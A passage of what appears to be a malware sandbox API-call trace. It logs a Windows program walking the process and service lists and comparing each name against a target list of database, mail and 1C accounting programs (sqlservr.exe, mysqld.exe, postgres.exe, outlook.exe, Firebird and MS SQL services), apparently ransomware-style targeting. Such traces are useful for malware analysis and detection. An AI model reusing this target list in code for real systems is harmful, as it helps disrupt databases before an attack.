lpString2="Spooler") returned -1 [0267.920] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0267.920] lstrlenW (lpString="SysMain") returned 7 [0267.920] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0267.920] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0267.920] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0267.921] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0267.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0267.921] lstrlenW (lpString="Themes") returned 6 [0267.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0267.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0267.921] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0267.921] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0267.921] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0267.921] lstrlenW (lpString="TrkWks") returned 6 [0267.921] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0267.921] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0267.921] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0267.922] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0267.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0267.922] lstrlenW (lpString="UxSms") returned 5 [0267.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0267.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0267.922] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0267.922] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0267.922] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0267.922] lstrlenW (lpString="WdiServiceHost") returned 14 [0267.922] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.922] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0267.923] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0267.923] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0267.923] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0267.924] lstrlenW (lpString="WdiSystemHost") returned 13 [0267.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0267.924] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0267.924] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0267.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0267.924] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0267.924] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0267.924] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0267.924] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0267.924] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0267.924] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0267.925] lstrlenW (lpString="Winmgmt") returned 7 [0267.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0267.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0267.925] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0267.925] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0267.925] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0267.925] lstrlenW (lpString="WPDBusEnum") returned 10 [0267.925] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.925] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0267.925] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0267.926] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0267.926] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0267.926] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x41a2db8 | out: hHeap=0x880000) returned 1 [0267.926] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a4 [0267.932] Process32FirstW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0267.933] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0267.934] lstrlenW (lpString="System") returned 6 [0267.934] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0267.934] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0267.934] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0267.934] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0267.934] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0267.934] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0267.935] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0267.935] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0267.936] lstrlenW (lpString="smss.exe") returned 8 [0267.936] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0267.936] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0267.937] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0267.938] lstrlenW (lpString="csrss.exe") returned 9 [0267.938] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0267.938] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0267.938] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.494] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.494] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.494] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.495] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0268.495] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0268.496] lstrlenW (lpString="wininit.exe") returned 11 [0268.496] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0268.496] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0268.496] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0268.497] lstrlenW (lpString="csrss.exe") returned 9 [0268.497] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0268.497] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0268.497] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0268.497] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0268.498] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0268.498] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0268.498] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0268.499] lstrlenW (lpString="winlogon.exe") returned 12 [0268.499] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0268.501] lstrlenW (lpString="services.exe") returned 12 [0268.501] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0268.502] lstrlenW (lpString="lsass.exe") returned 9 [0268.502] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0268.503] lstrlenW (lpString="lsm.exe") returned 7 [0268.503] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.504] lstrlenW (lpString="svchost.exe") returned 11 [0268.504] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.505] lstrlenW (lpString="svchost.exe") returned 11 [0268.506] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.507] lstrlenW (lpString="svchost.exe") returned 11 [0268.507] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.508] lstrlenW (lpString="svchost.exe") returned 11 [0268.508] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.509] lstrlenW (lpString="svchost.exe") returned 11 [0268.509] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.510] lstrlenW (lpString="audiodg.exe") returned 11 [0268.510] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.511] lstrlenW (lpString="svchost.exe") returned 11 [0268.511] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.512] lstrlenW (lpString="explorer.exe") returned 12 [0268.512] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.513] lstrlenW (lpString="dwm.exe") returned 7 [0268.514] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.514] lstrlenW (lpString="svchost.exe") returned 11 [0268.515] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="driver.exe")) returned 1 [0268.516] lstrlenW (lpString="driver.exe") returned 10 [0268.516] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.517] lstrlenW (lpString="spoolsv.exe") returned 11 [0268.517] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x554, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.518] lstrlenW (lpString="taskhost.exe") returned 12 [0268.518] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.519] lstrlenW (lpString="svchost.exe") returned 11 [0268.519] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0268.520] lstrlenW (lpString="reader_sl.exe") returned 13 [0268.520] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c4, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.521] lstrlenW (lpString="taskhost.exe") returned 12 [0268.521] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x310, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0268.523] lstrlenW (lpString="dllhost.exe") returned 11 [0268.523] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0268.524] lstrlenW (lpString="consent.exe") returned 11 [0268.524] Process32NextW (in: hSnapshot=0x3a4, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0268.525] CloseHandle (hObject=0x3a4) returned 1 [0268.525] Sleep (dwMilliseconds=0x1f4) [0269.410] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x8d32d8 [0269.411] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0269.411] GetLastError () returned 0xea [0269.412] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0x11e4) returned 0x41a2db8 [0269.412] EnumServicesStatusExW (in: hSCManager=0x8d32d8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41a2db8, cbBufSize=0x11e4, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41a2db8, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0269.413] CloseServiceHandle (hSCObject=0x8d32d8) returned 1 [0269.414] lstrlenW (lpString="Appinfo") returned 7 [0269.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0269.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0269.414] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0269.414] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0269.414] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0269.414] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0269.414] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.414] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0269.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0269.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0269.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0269.415] lstrlenW (lpString="AudioSrv") returned 8 [0269.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0269.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0269.415] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0269.415] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0269.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0269.415] lstrlenW (lpString="BFE") returned 3 [0269.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0269.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0269.416] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0269.416] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0269.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0269.416] lstrlenW (lpString="CryptSvc") returned 8 [0269.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0269.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0269.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0269.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0269.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0269.416] lstrlenW (lpString="CscService") returned 10 [0269.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0269.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0269.416] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0269.416] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0269.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0269.417] lstrlenW (lpString="DcomLaunch") returned 10 [0269.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0269.417] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0269.417] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0269.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0269.417] lstrlenW (lpString="Dhcp") returned 4 [0269.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0269.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0269.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0269.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0269.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0269.418] lstrlenW (lpString="Dnscache") returned 8 [0269.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0269.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0269.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0269.418] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0269.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0269.418] lstrlenW (lpString="DPS") returned 3 [0269.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0269.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0269.418] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0269.418] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0269.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0269.418] lstrlenW (lpString="eventlog") returned 8 [0269.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0269.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0269.419] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0269.419] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0269.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0269.419] lstrlenW (lpString="EventSystem") returned 11 [0269.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0269.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0269.419] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0269.419] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0269.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0269.419] lstrlenW (lpString="gpsvc") returned 5 [0269.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0269.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0269.420] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0269.420] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0269.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0269.426] lstrlenW (lpString="iphlpsvc") returned 8 [0269.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0269.426] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0269.426] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0269.426] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0269.426] lstrlenW (lpString="LanmanServer") returned 12 [0269.426] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0269.426] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0269.426] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0269.427] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0269.427] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0269.427] lstrlenW (lpString="LanmanWorkstation") returned 17 [0269.427] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.427] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0269.427] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0269.427] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0269.427] 